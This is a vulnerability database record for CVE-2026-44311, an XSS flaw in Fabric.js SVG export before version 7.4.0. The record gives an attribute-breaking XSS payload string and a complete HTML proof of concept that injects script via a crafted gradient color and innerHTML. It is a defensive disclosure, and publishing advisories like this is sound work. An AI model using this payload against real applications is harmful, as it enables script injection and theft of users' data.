{"id":"CVE-2026-44311","aliases":["CVE-2026-44311","GHSA-w22m-hvvm-xmwx"],"related":[],"kind":"vulnerability","state":"published","title":"Fabric.js: Improper escaping in fabric.Gradient colorStops leads to XSS in SVG serialization","summary":"Fabric.js is a Javascript HTML5 canvas library. Prior to 7.4.0, a potential Cross-Site Scripting (XSS) vulnerability exists in Fabric.js due to improper escaping of user-controlled input during SVG serialization via the toSVG() method. Specifically, the color field within the colorStops array of a fabric.Gradient object is not properly escaped when converted into SVG <stop> elements. If an application renders the generated SVG string into the DOM, this may allow an attacker to inject arbitrary HTML/SVG and execute JavaScript in the victim's browser. This vulnerability is fixed in 7.4.0.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Fabric.js is a Javascript HTML5 canvas library. Prior to 7.4.0, a potential Cross-Site Scripting (XSS) vulnerability exists in Fabric.js due to improper escaping of user-controlled input during SVG serialization via the toSVG() method. Specifically, the color field within the colorStops array of a fabric.Gradient object is not properly escaped when converted into SVG <stop> elements. If an application renders the generated SVG string into the DOM, this may allow an attacker to inject arbitrary HTML/SVG and execute JavaScript in the victim's browser. This vulnerability is fixed in 7.4.0.","source":"cvelist"},{"lang":"en","text":"### Summary\n\nA potential Cross-Site Scripting (XSS) vulnerability exists in Fabric.js due to improper escaping of user-controlled input during SVG serialization via the `toSVG()` method.\n\nSpecifically, the `color` field within the `colorStops` array of a `fabric.Gradient` object is not properly escaped when converted into SVG `<stop>` elements. If an application renders the generated SVG string into the DOM (e.g., via `innerHTML`), this may allow an attacker to inject arbitrary HTML/SVG and execute JavaScript in the victim's browser.\n\n### Details\n\nDuring SVG export, Fabric.js serializes gradient color stops into `<stop>` elements like:\n\n```xml\n<stop offset=\"0\" stop-color=\"...\"></stop>\n```\n\nHowever, the `color` value is inserted into the `stop-color` attribute without proper escaping of special characters such as `\"`, `<`, and `>`. This allows crafted input to break out of the attribute context and inject arbitrary markup.\n\nFor example:\n```js\ncolor: 'red\"><img src=\"x\" onerror=\"alert(1)\">'\n```\n\nmay result in:\n```xml\n<stop offset=\"0\" stop-color=\"red\">\n<img src=\"x\" onerror=\"alert(1)\">\n```\nThis breaks the intended SVG structure and introduces executable HTML.\n\n### PoC (Proof of Concept)\n\nSuccessfully verified on **v7.2.0** (current latest version). The following HTML and JavaScript code reproduces the vulnerability. The code constructs a rectangle with a maliciously crafted gradient color stop and exports it to SVG:\n\n```html\n<!DOCTYPE html>\n<html>\n<head>\n   <title>Fabric.js SVG Export XSS Bypass Test</title>\n   <script src=\"[https://cdn.jsdelivr.net/npm/fabric@7.2.0/dist/index.js](https://cdn.jsdelivr.net/npm/fabric@7.2.0/dist/index.js)\"></script>\n</head>\n<body>\n   <h1>Fabric.js SVG Export XSS Bypass Test (Gradient Color)</h1>\n   <canvas id=\"c\" width=\"400\" height=\"300\"></canvas>\n   \n   <h3>SVG Output Rendering:</h3>\n   <div id=\"svg-output\" style=\"border: 1px solid #ccc; padding: 10px; margin-top: 10px;\"></div>\n\n   <script>\n       setTimeout(() => {\n           const canvas = new fabric.Canvas('c');\n           \n           // Construct a malicious gradient object\n           const maliciousGradient = new fabric.Gradient({\n               type: 'linear',\n               coords: { x1: 0, y1: 0, x2: 100, y2: 0 },\n               colorStops: [\n                   {\n                       offset: 0,\n                       // Inject XSS payload to prematurely close the attribute/tag\n                       color: 'red\"><img src=\"x\" onerror=\"alert(\\'XSS Triggered Successfully!\\')\">'\n                   },\n                   { offset: 1, color: 'blue' }\n               ]\n           });\n\n           const rect = new fabric.Rect({\n               left: 50, top: 50, width: 300, height: 100,\n               fill: maliciousGradient\n           });\n\n           canvas.add(rect);\n\n           // Export to SVG string containing the malicious code\n           const svgOutput = canvas.toSVG();\n\n           // Render on the page to trigger the XSS\n           document.getElementById('svg-output').innerHTML = svgOutput;\n       }, 100);\n   </script>\n</body>\n</html>\n```\n\n### Impact\n\nThis issue can lead to XSS in applications that:\n1. Allow user-controlled input in gradient definitions (e.g., color values)\n2. Use `canvas.toSVG()` to export content\n3. Insert the resulting SVG string into the DOM without sanitization (e.g., via `innerHTML`)\n\nSuccessful exploitation may result in the execution of arbitrary JavaScript in the victim's browser, theft of sensitive data, or unauthorized actions on behalf of the user.\n\n### Suggested Fix\n**Proper Escaping (Recommended)**: Escape special characters in attribute values during SVG serialization.","format":"markdown","source":"ghsa"},{"lang":"es","text":"Fabric.js es una biblioteca de canvas HTML5 de Javascript. Antes de la versión 7.4.0, existe una potencial vulnerabilidad de cross-site scripting (XSS) en Fabric.js debido a un escape inadecuado de la entrada controlada por el usuario durante la serialización SVG a través del método toSVG(). Específicamente, el campo ’color’ dentro del array ’colorStops’ de un objeto fabric.Gradient no se escapa correctamente cuando se convierte en elementos SVG [stop]. Si una aplicación renderiza la cadena SVG generada en el DOM, esto puede permitir a un atacante inyectar HTML/SVG arbitrario y ejecutar JavaScript en el navegador de la víctima. Esta vulnerabilidad está corregida en la versión 7.4.0.","source":"nvd"}],"published":"2026-06-12T21:00:32.000Z","modified":"2026-10-25T23:10:00.167Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N","score":5.4,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N","score":5.4,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N","score":5.4,"rating":"MEDIUM"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","score":6.1,"rating":"MEDIUM"}],"cwes":["CWE-79","CWE-116"],"affected":[{"ranges":[{"version":"< 7.4.0","status":"affected"}],"vendor":"fabricjs","product":"fabric.js","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"7.4.0"}],"ecosystem":"npm","package":"fabric","purl":"pkg:npm/fabric","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"7.4.0"}],"vendor":"fabricjs","product":"fabric.js","cpe":"cpe:2.3:a:fabricjs:fabric.js:*:*:*:*:*:node.js:*:*","source":"nvd"}],"references":[{"url":"https://github.com/fabricjs/fabric.js/security/advisories/GHSA-w22m-hvvm-xmwx","tags":["exploit","mitigation","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/fabricjs/fabric.js/releases/tag/v740","tags":["product","release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44311","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/fabricjs/fabric.js","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2026-06-23T16:13:31.986Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-44311","url":"https://www.cve.org/CVERecord?id=CVE-2026-44311","licence":"CVE Terms of Use","modified":"2026-06-23T16:13:58.645Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-w22m-hvvm-xmwx","url":"https://github.com/advisories/GHSA-w22m-hvvm-xmwx","licence":"CC-BY-4.0","modified":"2026-07-18T17:30:29.159Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-44311","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44311","licence":"Public domain","modified":"2026-10-25T23:10:00.167Z"}],"updatedAt":"2026-11-25T22:59:25.417Z","epss":{"score":0.00228,"percentile":0.14481,"date":"2026-12-01T12:00:22.000Z"}}